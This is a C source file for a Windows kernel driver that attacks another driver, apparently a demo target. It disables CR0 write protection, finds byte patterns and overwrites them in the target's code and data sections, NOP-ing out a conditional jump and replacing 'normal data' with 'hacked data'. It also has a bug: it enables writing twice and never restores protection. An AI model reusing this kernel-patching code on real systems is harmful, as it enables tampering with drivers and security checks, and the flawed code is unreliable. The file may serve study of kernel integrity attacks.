#include "Attack.h"


//////////////////////////////////////////////////////////////////////////
//global variables

char CodePattern[] = { 0x85 ,0xC0 ,0x75 ,0x09 ,0xC7 ,0x04 ,0x24 ,0x01 ,0x00 ,0x00 ,0x00 ,0xEB ,0x07  ,0xC7 ,0x04 ,0x24 ,0x00 ,0x00 ,0x00 ,0x00 ,0x8B ,0x04 ,0x24 };
char FakeCodePattern[] = { 0x85 ,0xC0 ,0x90 ,0x90 ,0xC7 ,0x04 ,0x24 ,0x01 ,0x00 ,0x00 ,0x00 ,0xEB ,0x07  ,0xC7 ,0x04 ,0x24 ,0x00 ,0x00 ,0x00 ,0x00 ,0x8B ,0x04 ,0x24 };

char DataPattern[] = "normal data";
char FakeDataPattern[] = "hacked data";


//////////////////////////////////////////////////////////////////////////
//functions
VOID WriteEnable()
{
	UINT64 cr0 = __readcr0();
	cr0 &= 0xfffffffffffeffff;
	__writecr0(cr0);
	_disable();
}
VOID WriteDisable()
{
	UINT64 cr0 = __readcr0();
	cr0 |= 0x10000;
	_enable();
	__writecr0(cr0);
}


VOID cal_next(PCHAR str, PLONG_PTR next, LONG_PTR len)
{
	next[0] = -1;
	LONG_PTR k = -1;
	for (LONG_PTR q = 1; q < len; q++)
	{
		while (k > -1 && str[k + 1] != str[q])
			k = next[k];
		if (str[k + 1] == str[q])    ++k;
		next[q] = k;
	}
}


PVOID KMP(PVOID str, LONG_PTR slen, PVOID ptr, LONG_PTR plen)
{
	//int* next = new int[plen];
	PLONG_PTR next = (PLONG_PTR)ExAllocatePool(NonPagedPool, plen * sizeof(LONG_PTR));
	if (!next)
	{
		return NULL;
	}
	cal_next((PCHAR)ptr, next, plen);
	LONG_PTR j = -1;
	for (LONG_PTR i = 0; i < slen; i++)
	{
		while (j > -1 && ((PCHAR)ptr)[j + 1] != ((PCHAR)str)[i]) {
			j = next[j];
		}
		if (((PCHAR)ptr)[j + 1] == ((PCHAR)str)[i])
			j = j + 1;
		if (j == plen - 1)
		{
			ExFreePool(next);
			return (PCHAR)str + i - plen + 1;
		}
			
	}
	ExFreePool(next);
	return NULL;
}

BOOL AttackCodeAndData(PDRIVER_OBJECT pDrvObj, PCHAR pSegName, PCHAR pPattern, SIZE_T len1, PCHAR pFake, SIZE_T len2)
{
	PVOID pSectionStart = NULL;
	SIZE_T SectionLength = 0;
	pSectionStart = (PVOID)GetSegmentStartAddress(pDrvObj, pSegName);
	SectionLength = GetSegmentLength(pDrvObj, pSegName);
	if (!pSectionStart || !SectionLength)
	{
		return FALSE;
	}
	PCHAR pModify = KMP(pSectionStart, SectionLength, pPattern, len1);
	if (!pModify)
	{
		return FALSE;
	}

	if (pModify + len2 > (PCHAR)pSectionStart + SectionLength)
	{
		return FALSE;
	}

	KIRQL irql = KeRaiseIrqlToDpcLevel();
	WriteEnable();
	memcpy(pModify, pFake, len2);
	WriteEnable();
	KeLowerIrql(irql);
	return TRUE;
}


NTSTATUS AttackDemoDriver(BOOL restore)
{
	UNICODE_STRING targetDrvName;
	RtlInitUnicodeString(&targetDrvName, TARGET_DRV_NAME);
	NTSTATUS status = STATUS_UNSUCCESSFUL;

	//start reference
	PDRIVER_OBJECT pTargetDriverObj = NULL;
	status = ObReferenceObjectByName(&targetDrvName,
		OBJ_CASE_INSENSITIVE,
		NULL, FILE_ALL_ACCESS,
		*IoDriverObjectType,
		KernelMode, NULL,
		(PVOID*)&pTargetDriverObj);

	if (!NT_SUCCESS(status))
	{
		MyPrint(_TitleAndFunc"Reference Faild :%X\n", status);
		return status;
	}

	if (!restore)
	{
		//start attacking
		//attack code segment
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_HIDDEN_INSTRUCTIONS,
			CodePattern,
			sizeof(CodePattern),
			FakeCodePattern,
			sizeof(FakeCodePattern)
		);
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_NORMAL_INSTRUCTIONS,
			CodePattern,
			sizeof(CodePattern),
			FakeCodePattern,
			sizeof(FakeCodePattern)
		);
		//attack data segment
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_HIDDEN_DATA,
			DataPattern,
			sizeof(DataPattern),
			FakeDataPattern,
			sizeof(FakeDataPattern)
		);
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_NORMAL_DATA,
			DataPattern,
			sizeof(DataPattern),
			FakeDataPattern,
			sizeof(FakeDataPattern)
		);
	}
	else
	{
		//restore
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_HIDDEN_INSTRUCTIONS,
			FakeCodePattern,
			sizeof(FakeCodePattern),
			CodePattern,
			sizeof(CodePattern)
		);
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_NORMAL_INSTRUCTIONS,
			FakeCodePattern,
			sizeof(FakeCodePattern),
			CodePattern,
			sizeof(CodePattern)
		);
		//attack data segment
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_HIDDEN_DATA,
			FakeDataPattern,
			sizeof(FakeDataPattern),
			DataPattern,
			sizeof(DataPattern)
		);
		AttackCodeAndData(pTargetDriverObj,
			SECTION_NAME_NORMAL_DATA,
			FakeDataPattern,
			sizeof(FakeDataPattern),
			DataPattern,
			sizeof(DataPattern)
		);
	}

	ObDereferenceObject(pTargetDriverObj);
	return STATUS_SUCCESS;
}